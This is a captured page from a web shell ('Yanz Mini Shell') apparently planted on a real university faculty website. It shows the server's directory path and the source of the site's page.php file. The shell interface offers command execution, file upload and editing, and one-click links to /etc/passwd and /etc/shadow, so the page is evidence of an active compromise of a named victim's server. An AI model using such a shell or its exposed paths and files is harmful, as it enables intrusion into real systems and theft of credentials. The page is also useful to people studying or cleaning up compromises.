Yanz Mini Shell
[_]
[-]
[X]
[
HomeShell 1
] [
HomeShell 2
] [
Upload
] [
Command Shell
] [
Scripting
] [
About
]
[ Directory ] =>
/
home
uncpac53
public_html
fsains.uncp.ac.id
pages
partials
Action
[*]
New File
[*]
New Folder
Sensitive File
[*]
/etc/passwd
[*]
/etc/shadow
[*]
/etc/resolv.conf
[
Delete
] [
Edit
] [
Rename
] [
Back
]
<?php // ============================================================= // page.php - Handler untuk halaman statis dari tabel `pages` // URL: pages/page.php?slug=profil // ============================================================= require_once __DIR__ . '/../config/config.php'; $slug = isset($_GET['slug']) ? trim($_GET['slug']) : ''; if (!preg_match('/^[a-z0-9\-]+$/', $slug)) { header("Location: " . $base_url . "/404.php"); exit; } // Ambil data halaman $stmt = $conn->prepare("SELECT * FROM pages WHERE slug = ? AND is_active = 1 LIMIT 1"); $stmt->bind_param("s", $slug); $stmt->execute(); $result = $stmt->get_result(); $page = $result->fetch_assoc(); $stmt->close(); if (!$page) { header("Location: " . $base_url . "/404.php"); exit; } $page_title = e($page['title']) . ' - ' . setting('site_name'); $meta_description = $page['meta_description'] ?: setting('meta_description'); include __DIR__ . '/../includes/header.php'; ?> <div class="page-hero" style="background: linear-gradient(135deg, #0a2b3e, #115277); color: white; padding: 80px 0 60px; margin-bottom: 0;"> <div class="container"> <nav style="font-size: 0.85rem; opacity: 0.8; margin-bottom: 16px;"> <a href="<?= $base_url ?>/index.php" style="color: #fff000; text-decoration: none;">Beranda</a> <span style="margin: 0 8px;">›</span> <span><?= e($page['title']) ?></span> </nav> <h1 style="font-family: 'Poppins', sans-serif; font-size: 2.5rem; font-weight: 800;" data-aos="fade-up"> <?= e($page['title']) ?> </h1> </div> </div> <div class="container" style="padding: 60px 0;"> <article class="page-content rich-content" data-aos="fade-up" style="max-width: 860px; margin: 0 auto; font-size: 1.05rem; line-height: 1.8; color: #2c3e50;"> <style> .page-content h2 { font-family: 'Poppins', sans-serif; font-size: 1.6rem; font-weight: 700; color: #0a2b3e; margin-top: 32px; margin-bottom: 16px; } .page-content h3 { font-family: 'Poppins', sans-serif; font-size: 1.3rem; font-weight: 600; color: #115277; margin-top: 24px; margin-bottom: 12px; } .page-content p { margin-bottom: 16px; } .page-content ul, .page-content ol { margin: 16px 0 16px 24px; } .page-content li { margin-bottom: 8px; } .page-content blockquote { border-left: 4px solid #fff000; padding: 16px 24px; background: #f8fafc; font-size: 1.15rem; font-style: italic; margin: 24px 0; border-radius: 0 12px 12px 0; } .page-content strong { color: #0a2b3e; } .page-content a { color: #00bfff; text-decoration: underline; } </style> <?= $page['content'] ?> </article> </div> <?php // ============================================================= // Stats Widget - tampil otomatis di halaman Profil Fakultas // ============================================================= if ($slug === 'profil'): $stat_dosen = (int)$conn->query("SELECT COUNT(*) AS n FROM dosen WHERE is_active = 1")->fetch_assoc()['n']; $stat_prodi = (int)$conn->query("SELECT COUNT(*) AS n FROM program_studi")->fetch_assoc()['n']; $stat_lab = (int)$conn->query("SELECT COUNT(*) AS n FROM laboratorium WHERE is_active = 1")->fetch_assoc()['n']; $stat_mahasiswa = (int)setting('stat_mahasiswa', '0'); ?> <section class="fsains-stats" data-aos="fade-up"> <div class="container"> <div style="text-align:center; margin-bottom: 40px;"> <h2 style="font-family:'Poppins',sans-serif; font-size:1.8rem; font-weight:800; color:#0a2b3e; margin:0 0 8px;"> Fakultas Sains dalam Angka </h2> <p style="color:#6b7280; margin:0;">Capaian dan sumber daya kami saat ini</p> </div> <div class="stats-grid"> <div class="stat-card"> <div class="stat-icon" style="background: rgba(0,191,255,0.1); color: #00bfff;"><i class="fas fa-user-tie"></i></div> <div class="stat-value" data-target="<?= $stat_dosen ?>">0</div> <div class="stat-label">Dosen Aktif</div> </div> <?php if ($stat_mahasiswa > 0): ?> <div class="stat-card"> <div class="stat-icon" style="background: rgba(255,240,0,0.15); color: #d97706;"><i class="fas fa-user-graduate"></i></div> <div class="stat-value" data-target="<?= $stat_mahasiswa ?>">0</div> <div class="stat-label">Mahasiswa</div> </div> <?php endif; ?> <div class="stat-card"> <div class="stat-icon" style="background: rgba(34,197,94,0.1); color: #22c55e;"><i class="fas fa-graduation-cap"></i></div> <div class="stat-value" data-target="<?= $stat_prodi ?>">0</div> <div class="stat-label">Program Studi</div> </div> <div class="stat-card"> <div class="stat-icon" style="background: rgba(168,85,247,0.1); color: #a855f7;"><i class="fas fa-flask"></i></div> <div class="stat-value" data-target="<?= $stat_lab ?>">0</div> <div class="stat-label">Laboratorium</div> </div> </div> </div> </section> <style> .fsains-stats { padding: 60px 0 80px; background: linear-gradient(180deg, #f8fafc 0%, #ffffff 100%); } .fsains-stats .stats-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); gap: 24px; max-width: 1100px; margin: 0 auto; } .fsains-stats .stat-card { background: white; border-radius: 20px; padding: 32px 24px; text-align: center; box-shadow: 0 4px 16px rgba(0,0,0,0.06); transition: all 0.3s; } .fsains-stats .stat-card:hover { transform: translateY(-6px); box-shadow: 0 12px 28px rgba(0,191,255,0.15); } .fsains-stats .stat-icon { width: 64px; height: 64px; margin: 0 auto 16px; border-radius: 16px; display: flex; align-items: center; justify-content: center; font-size: 1.5rem; } .fsains-stats .stat-value { font-family: 'Poppins', sans-serif; font-size: 2.5rem; font-weight: 800; color: #0a2b3e; line-height: 1; margin-bottom: 6px; } .fsains-stats .stat-label { color: #6b7280; font-size: 0.95rem; font-weight: 500; } @media (max-width: 480px) { .fsains-stats .stat-value { font-size: 2rem; } .fsains-stats .stat-card { padding: 22px 16px; } } </style> <script> (function() { function animateCounter(el) { const target = +el.dataset.target; if (!target) { el.textContent = '0'; return; } let current = 0; const step = Math.max(1, Math.ceil(target / 50)); const tick = () => { current = Math.min(current + step, target); el.textContent = current.toLocaleString('id-ID'); if (current < target) requestAnimationFrame(tick); }; tick(); } const obs = new IntersectionObserver((entries) => { entries.forEach(e => { if (e.isIntersecting) { animateCounter(e.target); obs.unobserve(e.target); } }); }, { threshold: 0.3 }); document.querySelectorAll('.fsains-stats .stat-value').forEach(el => obs.observe(el)); })(); </script> <?php endif; ?> <?php include __DIR__ . '/../includes/footer.php'; ?>
Free Space : 55488217088 Byte